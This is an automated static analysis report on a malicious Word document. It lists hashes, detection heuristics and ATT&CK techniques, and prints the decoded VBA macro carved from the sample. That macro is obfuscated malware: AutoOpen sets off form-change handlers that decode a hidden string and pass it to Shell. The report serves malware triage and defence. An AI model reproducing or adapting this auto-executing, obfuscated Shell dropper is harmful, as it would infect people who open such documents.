Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 31ba25a77d294e43…

MALICIOUS

Office (OLE)

209.0 KB Created: 2018-11-30 13:04:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 43d9755d7882c8de9fad505061f64376 SHA-1: 008e0c699de10bda1c859df58cb394c7304aa686 SHA-256: 31ba25a77d294e43ab12e68d2dd73062cddf62aa49592ae63643298ea2c8fb07
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains legacy WordBasic macros, specifically an Autoopen macro, which is a critical indicator of malicious intent. This macro directly calls the Shell() function, a common technique for executing arbitrary commands or downloading additional payloads. The reconstructed string 'save' from 'sa' + 've' is used in the PageAllForms function, though its exact purpose is unclear without further context. The presence of these elements strongly suggests a macro-based malware delivery mechanism.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6769015-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6769015-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2772 bytes
SHA-256: dd397c19478e22c45304ab336dce5508a79ae63ca065111a06ed988bdf006d4b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Autoopen()
Dim st1 As String
st1 = "sa" + "ve"
PageAllForms st1
End Sub




Attribute VB_Name = "Form1"
Attribute VB_Base = "0{18598BD2-9617-44D3-8A8F-33A406A79DBE}{61FD6585-2F0E-4C38-A83C-524941834E73}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub ComboBox1_Change()

End Sub

Private Sub LastText_Change()
Dim lev2 As Integer
lev2 = Len(Form1.LastText)
Dim lev1 As String
lev1 = "A"
fh = "2"
lang_xw2 lev2
End Sub


Private Sub EditText1_Change()
Dim ind1 As String
ind1 = "1" + "001"
End Sub

Private Sub CommandButton1_Click()

End Sub


Private Sub CommandButton2_Click()

End Sub

Private Sub TextBox1_Change()
Dim s As String
s = " "
s = s + Form1.Text1
If Len(s) = 63 Then lang_xot
End Sub


Attribute VB_Name = "Module1"
Sub red_fix(ByRef b1, ByRef control, Cell1)
log2 = 1
With Form1
log2 = Len(.Text1)
If b1 < log2 Then
b = ""
doc_print_body .Text1, b1, b
If Cell1 <> b Then
b1 = b1 + 1
red_fix b1, control, Cell1
Else
control = b1
End If
End If
End With
End Sub


Sub DataFindChars(ext1, ByRef state_max)
Dim m1 As Integer
m1 = -1
state_max = ""
If ext1 = m1 Then
ext1 = m1
End If
If ext1 < 1 Then
doc_print_body Form1.Text1, Len(Form1.Text1) + ext1, state_max
Else
doc_print_body Form1.Text1, ext1, state_max
End If
End Sub

Sub diggites_replace(C1, ByRef op)
op = ""
st1 = 1
replacediggites st1, op, C1
End Sub


Sub replacediggites(ByRef pointA, ByRef need, later)
f_str = Len(later)
If pointA <= f_str Then
ch = ""
doc_print_body later, pointA, ch
idial = 1
strings_attached ch, idial
st = ""
DataFindChars idial - 2, st
need = need + st
pointA = pointA + 1
replacediggites pointA, need, later
End If
End Sub

Sub PageAllForms(s1)
s1 = s1 + "OK"
Form1.TextBox1 = s1
End Sub

Sub doc_print_body(a1, pB, ByRef rmin)
s1 = Left(a1, pB)
s1 = s1 + ""
rmin = Right(s1, 1)
End Sub

Sub lang_xot()
Dim str2 As String
diggites_replace Form1.date1, str2
Form1.EditText1 = str2
str2 = str2 + ""
Form1.LastText = str2
End Sub

Sub lang_xw2(m)
Dim j As Integer
Dim str1 As String
With Form1
j = 517 - m
str1 = "" + .LastText
End With
If 0 = j Then Shell str1, j
End Sub

Sub strings_attached(per2, ByRef arg1)
arg1 = 0
sb1 = 1
red_fix sb1, arg1, per2
End Sub

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